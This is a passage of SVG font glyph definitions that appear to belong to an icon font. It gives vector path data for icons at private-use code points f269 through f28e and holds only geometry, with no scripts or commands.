<glyph unicode="&#xf269;" horiz-adv-x="1792" d="M903 -256q-283 0 -504.5 150.5t-329.5 398.5q-58 131 -67 301t26 332.5t111 312t179 242.5l-11 -281q11 14 68 15.5t70 -15.5q42 81 160.5 138t234.5 59q-54 -45 -119.5 -148.5t-58.5 -163.5q25 -8 62.5 -13.5t63 -7.5t68 -4t50.5 -3q15 -5 9.5 -45.5t-30.5 -75.5 q-5 -7 -16.5 -18.5t-56.5 -35.5t-101 -34l15 -189l-139 67q-18 -43 -7.5 -81.5t36 -66.5t65.5 -41.5t81 -6.5q51 9 98 34.5t83.5 45t73.5 17.5q61 -4 89.5 -33t19.5 -65q-1 -2 -2.5 -5.5t-8.5 -12.5t-18 -15.5t-31.5 -10.5t-46.5 -1q-60 -95 -144.5 -135.5t-209.5 -29.5 q74 -61 162.5 -82.5t168.5 -6t154.5 52t128 87.5t80.5 104q43 91 39 192.5t-37.5 188.5t-78.5 125q87 -38 137 -79.5t77 -112.5q15 170 -57.5 343t-209.5 284q265 -77 412 -279.5t151 -517.5q2 -127 -40.5 -255t-123.5 -238t-189 -196t-247.5 -135.5t-288.5 -49.5z" />
<glyph unicode="&#xf26a;" horiz-adv-x="1792" d="M1493 1308q-165 110 -359 110q-155 0 -293 -73t-240 -200q-75 -93 -119.5 -218t-48.5 -266v-42q4 -141 48.5 -266t119.5 -218q102 -127 240 -200t293 -73q194 0 359 110q-121 -108 -274.5 -168t-322.5 -60q-29 0 -43 1q-175 8 -333 82t-272 193t-181 281t-67 339 q0 182 71 348t191 286t286 191t348 71h3q168 -1 320.5 -60.5t273.5 -167.5zM1792 640q0 -192 -77 -362.5t-213 -296.5q-104 -63 -222 -63q-137 0 -255 84q154 56 253.5 233t99.5 405q0 227 -99 404t-253 234q119 83 254 83q119 0 226 -65q135 -125 210.5 -295t75.5 -361z " />
<glyph unicode="&#xf26b;" horiz-adv-x="1792" d="M1792 599q0 -56 -7 -104h-1151q0 -146 109.5 -244.5t257.5 -98.5q99 0 185.5 46.5t136.5 130.5h423q-56 -159 -170.5 -281t-267.5 -188.5t-321 -66.5q-187 0 -356 83q-228 -116 -394 -116q-237 0 -237 263q0 115 45 275q17 60 109 229q199 360 475 606 q-184 -79 -427 -354q63 274 283.5 449.5t501.5 175.5q30 0 45 -1q255 117 433 117q64 0 116 -13t94.5 -40.5t66.5 -76.5t24 -115q0 -116 -75 -286q101 -182 101 -390zM1722 1239q0 83 -53 132t-137 49q-108 0 -254 -70q121 -47 222.5 -131.5t170.5 -195.5q51 135 51 216z M128 2q0 -86 48.5 -132.5t134.5 -46.5q115 0 266 83q-122 72 -213.5 183t-137.5 245q-98 -205 -98 -332zM632 715h728q-5 142 -113 237t-251 95q-144 0 -251.5 -95t-112.5 -237z" />
<glyph unicode="&#xf26c;" horiz-adv-x="2048" d="M1792 288v960q0 13 -9.5 22.5t-22.5 9.5h-1600q-13 0 -22.5 -9.5t-9.5 -22.5v-960q0 -13 9.5 -22.5t22.5 -9.5h1600q13 0 22.5 9.5t9.5 22.5zM1920 1248v-960q0 -66 -47 -113t-113 -47h-736v-128h352q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-832q-14 0 -23 9t-9 23 v64q0 14 9 23t23 9h352v128h-736q-66 0 -113 47t-47 113v960q0 66 47 113t113 47h1600q66 0 113 -47t47 -113z" />
<glyph unicode="&#xf26d;" horiz-adv-x="1792" d="M138 1408h197q-70 -64 -126 -149q-36 -56 -59 -115t-30 -125.5t-8.5 -120t10.5 -132t21 -126t28 -136.5q4 -19 6 -28q51 -238 81 -329q57 -171 152 -275h-272q-48 0 -82 34t-34 82v1304q0 48 34 82t82 34zM1346 1408h308q48 0 82 -34t34 -82v-1304q0 -48 -34 -82t-82 -34 h-178q212 210 196 565l-469 -101q-2 -45 -12 -82t-31 -72t-59.5 -59.5t-93.5 -36.5q-123 -26 -199 40q-32 27 -53 61t-51.5 129t-64.5 258q-35 163 -45.5 263t-5.5 139t23 77q20 41 62.5 73t102.5 45q45 12 83.5 6.5t67 -17t54 -35t43 -48t34.5 -56.5l468 100 q-68 175 -180 287z" />
<glyph unicode="&#xf26e;" d="M1401 -11l-6 -6q-113 -114 -259 -175q-154 -64 -317 -64q-165 0 -317 64q-148 63 -259 175q-113 112 -175 258q-42 103 -54 189q-4 28 48 36q51 8 56 -20q1 -1 1 -4q18 -90 46 -159q50 -124 152 -226q98 -98 226 -152q132 -56 276 -56q143 0 276 56q128 55 225 152l6 6 q10 10 25 6q12 -3 33 -22q36 -37 17 -58zM929 604l-66 -66l63 -63q21 -21 -7 -49q-17 -17 -32 -17q-10 0 -19 10l-62 61l-66 -66q-5 -5 -15 -5q-15 0 -31 16l-2 2q-18 15 -18 29q0 7 8 17l66 65l-66 66q-16 16 14 45q18 18 31 18q6 0 13 -5l65 -66l65 65q18 17 48 -13 q27 -27 11 -44zM1400 547q0 -118 -46 -228q-45 -105 -126 -186q-80 -80 -187 -126t-228 -46t-228 46t-187 126q-82 82 -125 186q-15 32 -15 40h-1q-9 27 43 44q50 16 60 -12q37 -99 97 -167h1v339v2q3 136 102 232q105 103 253 103q147 0 251 -103t104 -249 q0 -147 -104.5 -251t-250.5 -104q-58 0 -112 16q-28 11 -13 61q16 51 44 43l14 -3q14 -3 32.5 -6t30.5 -3q104 0 176 71.5t72 174.5q0 101 -72 171q-71 71 -175 71q-107 0 -178 -80q-64 -72 -64 -160v-413q110 -67 242 -67q96 0 185 36.5t156 103.5t103.5 155t36.5 183 q0 198 -141 339q-140 140 -339 140q-200 0 -340 -140q-53 -53 -77 -87l-2 -2q-8 -11 -13 -15.5t-21.5 -9.5t-38.5 3q-21 5 -36.5 16.5t-15.5 26.5v680q0 15 10.5 26.5t27.5 11.5h877q30 0 30 -55t-30 -55h-811v-483h1q40 42 102 84t108 61q109 46 231 46q121 0 228 -46 t187 -126q81 -81 126 -186q46 -112 46 -229zM1369 1128q9 -8 9 -18t-5.5 -18t-16.5 -21q-26 -26 -39 -26q-9 0 -16 7q-106 91 -207 133q-128 56 -276 56q-133 0 -262 -49q-27 -10 -45 37q-9 25 -8 38q3 16 16 20q130 57 299 57q164 0 316 -64q137 -58 235 -152z" />
<glyph unicode="&#xf270;" horiz-adv-x="1792" d="M1551 60q15 6 26 3t11 -17.5t-15 -33.5q-13 -16 -44 -43.5t-95.5 -68t-141 -74t-188 -58t-229.5 -24.5q-119 0 -238 31t-209 76.5t-172.5 104t-132.5 105t-84 87.5q-8 9 -10 16.5t1 12t8 7t11.5 2t11.5 -4.5q192 -117 300 -166q389 -176 799 -90q190 40 391 135z M1758 175q11 -16 2.5 -69.5t-28.5 -102.5q-34 -83 -85 -124q-17 -14 -26 -9t0 24q21 45 44.5 121.5t6.5 98.5q-5 7 -15.5 11.5t-27 6t-29.5 2.5t-35 0t-31.5 -2t-31 -3t-22.5 -2q-6 -1 -13 -1.5t-11 -1t-8.5 -1t-7 -0.5h-5.5h-4.5t-3 0.5t-2 1.5l-1.5 3q-6 16 47 40t103 30 q46 7 108 1t76 -24zM1364 618q0 -31 13.5 -64t32 -58t37.5 -46t33 -32l13 -11l-227 -224q-40 37 -79 75.5t-58 58.5l-19 20q-11 11 -25 33q-38 -59 -97.5 -102.5t-127.5 -63.5t-140 -23t-137.5 21t-117.5 65.5t-83 113t-31 162.5q0 84 28 154t72 116.5t106.5 83t122.5 57 t130 34.5t119.5 18.5t99.5 6.5v127q0 65 -21 97q-34 53 -121 53q-6 0 -16.5 -1t-40.5 -12t-56 -29.5t-56 -59.5t-48 -96l-294 27q0 60 22 119t67 113t108 95t151.5 65.5t190.5 24.5q100 0 181 -25t129.5 -61.5t81 -83t45 -86t12.5 -73.5v-589zM692 597q0 -86 70 -133 q66 -44 139 -22q84 25 114 123q14 45 14 101v162q-59 -2 -111 -12t-106.5 -33.5t-87 -71t-32.5 -114.5z" />
<glyph unicode="&#xf271;" horiz-adv-x="1792" d="M1536 1280q52 0 90 -38t38 -90v-1280q0 -52 -38 -90t-90 -38h-1408q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h128v96q0 66 47 113t113 47h64q66 0 113 -47t47 -113v-96h384v96q0 66 47 113t113 47h64q66 0 113 -47t47 -113v-96h128zM1152 1376v-288q0 -14 9 -23t23 -9 h64q14 0 23 9t9 23v288q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23zM384 1376v-288q0 -14 9 -23t23 -9h64q14 0 23 9t9 23v288q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23zM1536 -128v1024h-1408v-1024h1408zM896 448h224q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-224 v-224q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v224h-224q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h224v224q0 14 9 23t23 9h64q14 0 23 -9t9 -23v-224z" />
<glyph unicode="&#xf272;" horiz-adv-x="1792" d="M1152 416v-64q0 -14 -9 -23t-23 -9h-576q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h576q14 0 23 -9t9 -23zM128 -128h1408v1024h-1408v-1024zM512 1088v288q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-288q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1280 1088v288q0 14 -9 23 t-23 9h-64q-14 0 -23 -9t-9 -23v-288q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1664 1152v-1280q0 -52 -38 -90t-90 -38h-1408q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h128v96q0 66 47 113t113 47h64q66 0 113 -47t47 -113v-96h384v96q0 66 47 113t113 47h64q66 0 113 -47 t47 -113v-96h128q52 0 90 -38t38 -90z" />
<glyph unicode="&#xf273;" horiz-adv-x="1792" d="M1111 151l-46 -46q-9 -9 -22 -9t-23 9l-188 189l-188 -189q-10 -9 -23 -9t-22 9l-46 46q-9 9 -9 22t9 23l189 188l-189 188q-9 10 -9 23t9 22l46 46q9 9 22 9t23 -9l188 -188l188 188q10 9 23 9t22 -9l46 -46q9 -9 9 -22t-9 -23l-188 -188l188 -188q9 -10 9 -23t-9 -22z M128 -128h1408v1024h-1408v-1024zM512 1088v288q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-288q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1280 1088v288q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-288q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1664 1152v-1280 q0 -52 -38 -90t-90 -38h-1408q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h128v96q0 66 47 113t113 47h64q66 0 113 -47t47 -113v-96h384v96q0 66 47 113t113 47h64q66 0 113 -47t47 -113v-96h128q52 0 90 -38t38 -90z" />
<glyph unicode="&#xf274;" horiz-adv-x="1792" d="M1303 572l-512 -512q-10 -9 -23 -9t-23 9l-288 288q-9 10 -9 23t9 22l46 46q9 9 22 9t23 -9l220 -220l444 444q10 9 23 9t22 -9l46 -46q9 -9 9 -22t-9 -23zM128 -128h1408v1024h-1408v-1024zM512 1088v288q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-288q0 -14 9 -23 t23 -9h64q14 0 23 9t9 23zM1280 1088v288q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-288q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1664 1152v-1280q0 -52 -38 -90t-90 -38h-1408q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h128v96q0 66 47 113t113 47h64q66 0 113 -47 t47 -113v-96h384v96q0 66 47 113t113 47h64q66 0 113 -47t47 -113v-96h128q52 0 90 -38t38 -90z" />
<glyph unicode="&#xf275;" horiz-adv-x="1792" d="M448 1536q26 0 45 -19t19 -45v-891l536 429q17 14 40 14q26 0 45 -19t19 -45v-379l536 429q17 14 40 14q26 0 45 -19t19 -45v-1152q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19t-19 45v1664q0 26 19 45t45 19h384z" />
<glyph unicode="&#xf276;" horiz-adv-x="1024" d="M512 448q66 0 128 15v-655q0 -26 -19 -45t-45 -19h-128q-26 0 -45 19t-19 45v655q61 -15 128 -15zM512 1536q212 0 362 -150t150 -362t-150 -362t-362 -150t-362 150t-150 362t150 362t362 150zM512 1312q14 0 23 9t9 23t-9 23t-23 9q-146 0 -249 -103t-103 -249 q0 -14 9 -23t23 -9t23 9t9 23q0 119 84.5 203.5t203.5 84.5z" />
<glyph unicode="&#xf277;" horiz-adv-x="1792" d="M1745 1239q10 -10 10 -23t-10 -23l-141 -141q-28 -28 -68 -28h-1344q-26 0 -45 19t-19 45v256q0 26 19 45t45 19h576v64q0 26 19 45t45 19h128q26 0 45 -19t19 -45v-64h512q40 0 68 -28zM768 320h256v-512q0 -26 -19 -45t-45 -19h-128q-26 0 -45 19t-19 45v512zM1600 768 q26 0 45 -19t19 -45v-256q0 -26 -19 -45t-45 -19h-1344q-40 0 -68 28l-141 141q-10 10 -10 23t10 23l141 141q28 28 68 28h512v192h256v-192h576z" />
<glyph unicode="&#xf278;" horiz-adv-x="2048" d="M2020 1525q28 -20 28 -53v-1408q0 -20 -11 -36t-29 -23l-640 -256q-24 -11 -48 0l-616 246l-616 -246q-10 -5 -24 -5q-19 0 -36 11q-28 20 -28 53v1408q0 20 11 36t29 23l640 256q24 11 48 0l616 -246l616 246q32 13 60 -6zM736 1390v-1270l576 -230v1270zM128 1173 v-1270l544 217v1270zM1920 107v1270l-544 -217v-1270z" />
<glyph unicode="&#xf279;" horiz-adv-x="1792" d="M512 1536q13 0 22.5 -9.5t9.5 -22.5v-1472q0 -20 -17 -28l-480 -256q-7 -4 -15 -4q-13 0 -22.5 9.5t-9.5 22.5v1472q0 20 17 28l480 256q7 4 15 4zM1760 1536q13 0 22.5 -9.5t9.5 -22.5v-1472q0 -20 -17 -28l-480 -256q-7 -4 -15 -4q-13 0 -22.5 9.5t-9.5 22.5v1472 q0 20 17 28l480 256q7 4 15 4zM640 1536q8 0 14 -3l512 -256q18 -10 18 -29v-1472q0 -13 -9.5 -22.5t-22.5 -9.5q-8 0 -14 3l-512 256q-18 10 -18 29v1472q0 13 9.5 22.5t22.5 9.5z" />
<glyph unicode="&#xf27a;" horiz-adv-x="1792" d="M640 640q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1024 640q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1408 640q0 53 -37.5 90.5t-90.5 37.5 t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1792 640q0 -174 -120 -321.5t-326 -233t-450 -85.5q-110 0 -211 18q-173 -173 -435 -229q-52 -10 -86 -13q-12 -1 -22 6t-13 18q-4 15 20 37q5 5 23.5 21.5t25.5 23.5t23.5 25.5t24 31.5t20.5 37 t20 48t14.5 57.5t12.5 72.5q-146 90 -229.5 216.5t-83.5 269.5q0 174 120 321.5t326 233t450 85.5t450 -85.5t326 -233t120 -321.5z" />
<glyph unicode="&#xf27b;" horiz-adv-x="1792" d="M640 640q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1024 640q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1408 640q0 -53 -37.5 -90.5t-90.5 -37.5 t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM896 1152q-204 0 -381.5 -69.5t-282 -187.5t-104.5 -255q0 -112 71.5 -213.5t201.5 -175.5l87 -50l-27 -96q-24 -91 -70 -172q152 63 275 171l43 38l57 -6q69 -8 130 -8q204 0 381.5 69.5t282 187.5 t104.5 255t-104.5 255t-282 187.5t-381.5 69.5zM1792 640q0 -174 -120 -321.5t-326 -233t-450 -85.5q-70 0 -145 8q-198 -175 -460 -242q-49 -14 -114 -22h-5q-15 0 -27 10.5t-16 27.5v1q-3 4 -0.5 12t2 10t4.5 9.5l6 9t7 8.5t8 9q7 8 31 34.5t34.5 38t31 39.5t32.5 51 t27 59t26 76q-157 89 -247.5 220t-90.5 281q0 130 71 248.5t191 204.5t286 136.5t348 50.5t348 -50.5t286 -136.5t191 -204.5t71 -248.5z" />
<glyph unicode="&#xf27c;" horiz-adv-x="1024" d="M512 345l512 295v-591l-512 -296v592zM0 640v-591l512 296zM512 1527v-591l-512 -296v591zM512 936l512 295v-591z" />
<glyph unicode="&#xf27d;" horiz-adv-x="1792" d="M1709 1018q-10 -236 -332 -651q-333 -431 -562 -431q-142 0 -240 263q-44 160 -132 482q-72 262 -157 262q-18 0 -127 -76l-77 98q24 21 108 96.5t130 115.5q156 138 241 146q95 9 153 -55.5t81 -203.5q44 -287 66 -373q55 -249 120 -249q51 0 154 161q101 161 109 246 q13 139 -109 139q-57 0 -121 -26q120 393 459 382q251 -8 236 -326z" />
<glyph unicode="&#xf27e;" d="M0 1408h1536v-1536h-1536v1536zM1085 293l-221 631l221 297h-634l221 -297l-221 -631l317 -304z" />
<glyph unicode="&#xf280;" d="M0 1408h1536v-1536h-1536v1536zM908 1088l-12 -33l75 -83l-31 -114l25 -25l107 57l107 -57l25 25l-31 114l75 83l-12 33h-95l-53 96h-32l-53 -96h-95zM641 925q32 0 44.5 -16t11.5 -63l174 21q0 55 -17.5 92.5t-50.5 56t-69 25.5t-85 7q-133 0 -199 -57.5t-66 -182.5v-72 h-96v-128h76q20 0 20 -8v-382q0 -14 -5 -20t-18 -7l-73 -7v-88h448v86l-149 14q-6 1 -8.5 1.5t-3.5 2.5t-0.5 4t1 7t0.5 10v387h191l38 128h-231q-6 0 -2 6t4 9v80q0 27 1.5 40.5t7.5 28t19.5 20t36.5 5.5zM1248 96v86l-54 9q-7 1 -9.5 2.5t-2.5 3t1 7.5t1 12v520h-275 l-23 -101l83 -22q23 -7 23 -27v-370q0 -14 -6 -18.5t-20 -6.5l-70 -9v-86h352z" />
<glyph unicode="&#xf281;" horiz-adv-x="1792" d="M1792 690q0 -58 -29.5 -105.5t-79.5 -72.5q12 -46 12 -96q0 -155 -106.5 -287t-290.5 -208.5t-400 -76.5t-399.5 76.5t-290 208.5t-106.5 287q0 47 11 94q-51 25 -82 73.5t-31 106.5q0 82 58 140.5t141 58.5q85 0 145 -63q218 152 515 162l116 521q3 13 15 21t26 5 l369 -81q18 37 54 59.5t79 22.5q62 0 106 -43.5t44 -105.5t-44 -106t-106 -44t-105.5 43.5t-43.5 105.5l-334 74l-104 -472q300 -9 519 -160q58 61 143 61q83 0 141 -58.5t58 -140.5zM418 491q0 -62 43.5 -106t105.5 -44t106 44t44 106t-44 105.5t-106 43.5q-61 0 -105 -44 t-44 -105zM1228 136q11 11 11 26t-11 26q-10 10 -25 10t-26 -10q-41 -42 -121 -62t-160 -20t-160 20t-121 62q-11 10 -26 10t-25 -10q-11 -10 -11 -25.5t11 -26.5q43 -43 118.5 -68t122.5 -29.5t91 -4.5t91 4.5t122.5 29.5t118.5 68zM1225 341q62 0 105.5 44t43.5 106 q0 61 -44 105t-105 44q-62 0 -106 -43.5t-44 -105.5t44 -106t106 -44z" />
<glyph unicode="&#xf282;" horiz-adv-x="1792" d="M69 741h1q16 126 58.5 241.5t115 217t167.5 176t223.5 117.5t276.5 43q231 0 414 -105.5t294 -303.5q104 -187 104 -442v-188h-1125q1 -111 53.5 -192.5t136.5 -122.5t189.5 -57t213 -3t208 46.5t173.5 84.5v-377q-92 -55 -229.5 -92t-312.5 -38t-316 53 q-189 73 -311.5 249t-124.5 372q-3 242 111 412t325 268q-48 -60 -78 -125.5t-46 -159.5h635q8 77 -8 140t-47 101.5t-70.5 66.5t-80.5 41t-75 20.5t-56 8.5l-22 1q-135 -5 -259.5 -44.5t-223.5 -104.5t-176 -140.5t-138 -163.5z" />
<glyph unicode="&#xf283;" horiz-adv-x="2304" d="M0 32v608h2304v-608q0 -66 -47 -113t-113 -47h-1984q-66 0 -113 47t-47 113zM640 256v-128h384v128h-384zM256 256v-128h256v128h-256zM2144 1408q66 0 113 -47t47 -113v-224h-2304v224q0 66 47 113t113 47h1984z" />
<glyph unicode="&#xf284;" horiz-adv-x="1792" d="M1549 857q55 0 85.5 -28.5t30.5 -83.5t-34 -82t-91 -27h-136v-177h-25v398h170zM1710 267l-4 -11l-5 -10q-113 -230 -330.5 -366t-474.5 -136q-182 0 -348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71q244 0 454.5 -124t329.5 -338l2 -4l8 -16 q-30 -15 -136.5 -68.5t-163.5 -84.5q-6 -3 -479 -268q384 -183 799 -366zM896 -234q250 0 462.5 132.5t322.5 357.5l-287 129q-72 -140 -206 -222t-292 -82q-151 0 -280 75t-204 204t-75 280t75 280t204 204t280 75t280 -73.5t204 -204.5l280 143q-116 208 -321 329 t-443 121q-119 0 -232.5 -31.5t-209 -87.5t-176.5 -137t-137 -176.5t-87.5 -209t-31.5 -232.5t31.5 -232.5t87.5 -209t137 -176.5t176.5 -137t209 -87.5t232.5 -31.5z" />
<glyph unicode="&#xf285;" horiz-adv-x="1792" d="M1427 827l-614 386l92 151h855zM405 562l-184 116v858l1183 -743zM1424 697l147 -95v-858l-532 335zM1387 718l-500 -802h-855l356 571z" />
<glyph unicode="&#xf286;" horiz-adv-x="1792" d="M640 528v224q0 16 -16 16h-96q-16 0 -16 -16v-224q0 -16 16 -16h96q16 0 16 16zM1152 528v224q0 16 -16 16h-96q-16 0 -16 -16v-224q0 -16 16 -16h96q16 0 16 16zM1664 496v-752h-640v320q0 80 -56 136t-136 56t-136 -56t-56 -136v-320h-640v752q0 16 16 16h96 q16 0 16 -16v-112h128v624q0 16 16 16h96q16 0 16 -16v-112h128v112q0 16 16 16h96q16 0 16 -16v-112h128v112q0 6 2.5 9.5t8.5 5t9.5 2t11.5 0t9 -0.5v391q-32 15 -32 50q0 23 16.5 39t38.5 16t38.5 -16t16.5 -39q0 -35 -32 -50v-17q45 10 83 10q21 0 59.5 -7.5t54.5 -7.5 q17 0 47 7.5t37 7.5q16 0 16 -16v-210q0 -15 -35 -21.5t-62 -6.5q-18 0 -54.5 7.5t-55.5 7.5q-40 0 -90 -12v-133q1 0 9 0.5t11.5 0t9.5 -2t8.5 -5t2.5 -9.5v-112h128v112q0 16 16 16h96q16 0 16 -16v-112h128v112q0 16 16 16h96q16 0 16 -16v-624h128v112q0 16 16 16h96 q16 0 16 -16z" />
<glyph unicode="&#xf287;" horiz-adv-x="2304" d="M2288 731q16 -8 16 -27t-16 -27l-320 -192q-8 -5 -16 -5q-9 0 -16 4q-16 10 -16 28v128h-858q37 -58 83 -165q16 -37 24.5 -55t24 -49t27 -47t27 -34t31.5 -26t33 -8h96v96q0 14 9 23t23 9h320q14 0 23 -9t9 -23v-320q0 -14 -9 -23t-23 -9h-320q-14 0 -23 9t-9 23v96h-96 q-32 0 -61 10t-51 23.5t-45 40.5t-37 46t-33.5 57t-28.5 57.5t-28 60.5q-23 53 -37 81.5t-36 65t-44.5 53.5t-46.5 17h-360q-22 -84 -91 -138t-157 -54q-106 0 -181 75t-75 181t75 181t181 75q88 0 157 -54t91 -138h104q24 0 46.5 17t44.5 53.5t36 65t37 81.5q19 41 28 60.5 t28.5 57.5t33.5 57t37 46t45 40.5t51 23.5t61 10h107q21 57 70 92.5t111 35.5q80 0 136 -56t56 -136t-56 -136t-136 -56q-62 0 -111 35.5t-70 92.5h-107q-17 0 -33 -8t-31.5 -26t-27 -34t-27 -47t-24 -49t-24.5 -55q-46 -107 -83 -165h1114v128q0 18 16 28t32 -1z" />
<glyph unicode="&#xf288;" horiz-adv-x="1792" d="M1150 774q0 -56 -39.5 -95t-95.5 -39h-253v269h253q56 0 95.5 -39.5t39.5 -95.5zM1329 774q0 130 -91.5 222t-222.5 92h-433v-896h180v269h253q130 0 222 91.5t92 221.5zM1792 640q0 -182 -71 -348t-191 -286t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348 t71 348t191 286t286 191t348 71t348 -71t286 -191t191 -286t71 -348z" />
<glyph unicode="&#xf289;" horiz-adv-x="2304" d="M1645 438q0 59 -34 106.5t-87 68.5q-7 -45 -23 -92q-7 -24 -27.5 -38t-44.5 -14q-12 0 -24 3q-31 10 -45 38.5t-4 58.5q23 71 23 143q0 123 -61 227.5t-166 165.5t-228 61q-134 0 -247 -73t-167 -194q108 -28 188 -106q22 -23 22 -55t-22 -54t-54 -22t-55 22 q-75 75 -180 75q-106 0 -181 -74.5t-75 -180.5t75 -180.5t181 -74.5h1046q79 0 134.5 55.5t55.5 133.5zM1798 438q0 -142 -100.5 -242t-242.5 -100h-1046q-169 0 -289 119.5t-120 288.5q0 153 100 267t249 136q62 184 221 298t354 114q235 0 408.5 -158.5t196.5 -389.5 q116 -25 192.5 -118.5t76.5 -214.5zM2048 438q0 -175 -97 -319q-23 -33 -64 -33q-24 0 -43 13q-26 17 -32 48.5t12 57.5q71 104 71 233t-71 233q-18 26 -12 57t32 49t57.5 11.5t49.5 -32.5q97 -142 97 -318zM2304 438q0 -244 -134 -443q-23 -34 -64 -34q-23 0 -42 13 q-26 18 -32.5 49t11.5 57q108 164 108 358q0 195 -108 357q-18 26 -11.5 57.5t32.5 48.5q26 18 57 12t49 -33q134 -198 134 -442z" />
<glyph unicode="&#xf28a;" d="M1500 -13q0 -89 -63 -152.5t-153 -63.5t-153.5 63.5t-63.5 152.5q0 90 63.5 153.5t153.5 63.5t153 -63.5t63 -153.5zM1267 268q-115 -15 -192.5 -102.5t-77.5 -205.5q0 -74 33 -138q-146 -78 -379 -78q-109 0 -201 21t-153.5 54.5t-110.5 76.5t-76 85t-44.5 83 t-23.5 66.5t-6 39.5q0 19 4.5 42.5t18.5 56t36.5 58t64 43.5t94.5 18t94 -17.5t63 -41t35.5 -53t17.5 -49t4 -33.5q0 -34 -23 -81q28 -27 82 -42t93 -17l40 -1q115 0 190 51t75 133q0 26 -9 48.5t-31.5 44.5t-49.5 41t-74 44t-93.5 47.5t-119.5 56.5q-28 13 -43 20 q-116 55 -187 100t-122.5 102t-72 125.5t-20.5 162.5q0 78 20.5 150t66 137.5t112.5 114t166.5 77t221.5 28.5q120 0 220 -26t164.5 -67t109.5 -94t64 -105.5t19 -103.5q0 -46 -15 -82.5t-36.5 -58t-48.5 -36t-49 -19.5t-39 -5h-8h-32t-39 5t-44 14t-41 28t-37 46t-24 70.5 t-10 97.5q-15 16 -59 25.5t-81 10.5l-37 1q-68 0 -117.5 -31t-70.5 -70t-21 -76q0 -24 5 -43t24 -46t53 -51t97 -53.5t150 -58.5q76 -25 138.5 -53.5t109 -55.5t83 -59t60.5 -59.5t41 -62.5t26.5 -62t14.5 -63.5t6 -62t1 -62.5z" />
<glyph unicode="&#xf28b;" d="M704 352v576q0 14 -9 23t-23 9h-256q-14 0 -23 -9t-9 -23v-576q0 -14 9 -23t23 -9h256q14 0 23 9t9 23zM1152 352v576q0 14 -9 23t-23 9h-256q-14 0 -23 -9t-9 -23v-576q0 -14 9 -23t23 -9h256q14 0 23 9t9 23zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103 t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
<glyph unicode="&#xf28c;" d="M768 1408q209 0 385.5 -103t279.5 -279.5t103 -385.5t-103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103zM768 96q148 0 273 73t198 198t73 273t-73 273t-198 198t-273 73t-273 -73t-198 -198t-73 -273 t73 -273t198 -198t273 -73zM864 320q-14 0 -23 9t-9 23v576q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-576q0 -14 -9 -23t-23 -9h-192zM480 320q-14 0 -23 9t-9 23v576q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-576q0 -14 -9 -23t-23 -9h-192z" />
<glyph unicode="&#xf28d;" d="M1088 352v576q0 14 -9 23t-23 9h-576q-14 0 -23 -9t-9 -23v-576q0 -14 9 -23t23 -9h576q14 0 23 9t9 23zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5 t103 -385.5z" />
<glyph unicode="&#xf28e;" d="M768 1408q209 0 385.5 -103t279.5 -279.5t103 -385.5t-103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103zM768 96q148 0 273 73t198 198t73 273t-73 273t-198 198t-273 73t-273 -73t-198 -198t-73 -273 t73 -273t198 -198t273 -73zM480 320q-14 0 -23 9t-9 23v576q0 14 9 23t23 9h576q14 0 23 -9t9 -23v-576q0 -14 -9 -23t-23 -9h-576z" />
